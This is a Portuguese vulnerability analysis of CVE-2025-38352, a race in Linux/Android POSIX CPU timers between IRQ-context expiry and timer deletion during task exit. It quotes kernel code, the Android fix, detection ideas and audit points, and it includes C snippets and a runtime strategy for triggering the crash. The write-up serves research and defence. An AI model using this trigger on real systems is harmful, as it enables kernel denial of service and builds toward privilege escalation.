POSIX CPU Timers TOCTOU race (CVE-2025-38352)

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Esta página documenta uma condição de corrida TOCTOU em Linux/Android POSIX CPU timers que pode corromper o estado do timer e travar o kernel, e sob algumas circunstâncias ser direcionada para privilege escalation.

• Componente afetado: kernel/time/posix-cpu-timers.c
• Primitiva: expiry vs deletion race durante task exit
• Sensível a configuração: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Recapitulação rápida dos internals (relevante para exploitation)

• Três clocks de CPU dirigem a contabilização para timers via cpu_clock_sample():
• CPUCLOCK_PROF: utime + stime
• CPUCLOCK_VIRT: apenas utime
• CPUCLOCK_SCHED: task_sched_runtime()
• A criação do timer conecta um timer a uma task/pid e inicializa os nós do timerqueue:

static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}

• A ativação insere em uma timerqueue por base e pode atualizar o cache next-expiry:

static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}

• O caminho rápido evita processamento dispendioso a menos que expirações em cache indiquem possível disparo:

static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}

• A expiração recolhe temporizadores expirados, marca-os como disparados, remove-os da fila; a entrega real é adiada:

#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Dois modos de processamento de expiração

• CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: a expiração é adiada via task_work na tarefa alvo
• CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: a expiração é tratada diretamente no contexto de IRQ

void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk);                  // IRQ-context path
lockdep_posixtimer_exit();
}
#endif

No caminho de contexto IRQ, a lista de disparo é processada fora do sighand

static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags);              // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing;         // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}

Causa raiz: TOCTOU entre a expiração em tempo de IRQ e a exclusão concorrente durante a saída da tarefa

Pré-condições

• CONFIG_POSIX_CPU_TIMERS_TASK_WORK está desabilitado (IRQ path in use)
• A tarefa alvo está saindo mas não foi totalmente reaped
• Outra thread chama concorrentemente posix_cpu_timer_del() para o mesmo timer

Sequência

1. update_process_times() aciona run_posix_cpu_timers() em contexto IRQ para a tarefa que está saindo.
2. collect_timerqueue() define ctmr->firing = 1 e move o timer para a lista temporária de firing.
3. handle_posix_cpu_timers() libera sighand via unlock_task_sighand() para entregar timers fora do lock.
4. Imediatamente após o unlock, a tarefa em saída pode ser reaped; uma thread irmã executa posix_cpu_timer_del().
5. Nesta janela, posix_cpu_timer_del() pode falhar ao adquirir o state via cpu_timer_task_rcu()/lock_task_sighand() e assim pular a guarda normal in-flight que verifica timer->it.cpu.firing. A exclusão prossegue como se não estivesse firing, corrompendo o estado enquanto a expiração está sendo tratada, levando a crashes/UB.

Por que o modo TASK_WORK é seguro por design

• Com CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, a expiração é adiada para task_work; exit_task_work roda antes de exit_notify, então a sobreposição em tempo de IRQ com o reaping não ocorre.
• Mesmo assim, se a tarefa já está saindo, task_work_add() falha; condicionar em exit_state torna ambos os modos consistentes.

Correção (Android common kernel) e justificativa

• Adicionar um retorno antecipado se a tarefa corrente estiver saindo, condicionando todo o processamento:

// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;

• Isso impede entrar em handle_posix_cpu_timers() para tarefas que estão saindo, eliminando a janela na qual posix_cpu_timer_del() poderia perder it.cpu.firing e competir com o processamento de expiração.

Impacto

• Corrupção de memória do kernel das estruturas de timer durante expiração/exclusão concorrente pode causar crashes imediatos (DoS) e é uma primitiva forte para privilege escalation devido a oportunidades de manipulação arbitrária do estado do kernel.

Disparo do bug (condições seguras e reproduzíveis) Compilação/config

• Garanta CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n e use um kernel sem a correção de gating para exit_state.

Estratégia em tempo de execução

• Mire uma thread prestes a sair e anexe um CPU timer a ela (clock por-thread ou por-processo):
• Para por-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
• Para por-processo: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
• Arme com uma expiração inicial muito curta e um intervalo pequeno para maximizar entradas no caminho de IRQ:

static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}

• A partir de um sibling thread, exclua concurrentemente o mesmo timer enquanto a target thread sai:

void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}

• Race amplifiers: alta scheduler tick rate, CPU load, ciclos repetidos de saída/recriação de threads. O crash tipicamente se manifesta quando posix_cpu_timer_del() deixa de notar o firing devido à falha na busca/bloqueio da task logo após unlock_task_sighand().

Detecção e hardening

• Mitigação: aplique o guard exit_state; prefira habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK quando viável.
• Observability: adicione tracepoints/WARN_ONCE ao redor de unlock_task_sighand()/posix_cpu_timer_del(); alerte quando it.cpu.firing==1 for observado juntamente com falha em cpu_timer_task_rcu()/lock_task_sighand(); monitore inconsistências no timerqueue ao redor da saída da task.

Pontos de auditoria (para revisores)

• update_process_times() → run_posix_cpu_timers() (IRQ)
• __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
• collect_timerqueue(): define ctmr->firing e move os nós
• handle_posix_cpu_timers(): libera sighand antes do loop de firing
• posix_cpu_timer_del(): depende de it.cpu.firing para detectar expiração in-flight; essa verificação é ignorada quando a busca/bloqueio da task falha durante exit/reap

Notas para pesquisa de exploração

• O comportamento divulgado é um kernel crash primitive confiável; transformá-lo em privilege escalation tipicamente requer uma sobreposição adicional controlável (object lifetime ou influência write-what-where) além do escopo deste resumo. Trate qualquer PoC como potencialmente desestabilizadora e execute apenas em emuladores/VMs.

References

• Race Against Time in the Kernel’s Clockwork (StreyPaws)
• Android security bulletin – September 2025
• Android common kernel patch commit 157f357d50b5…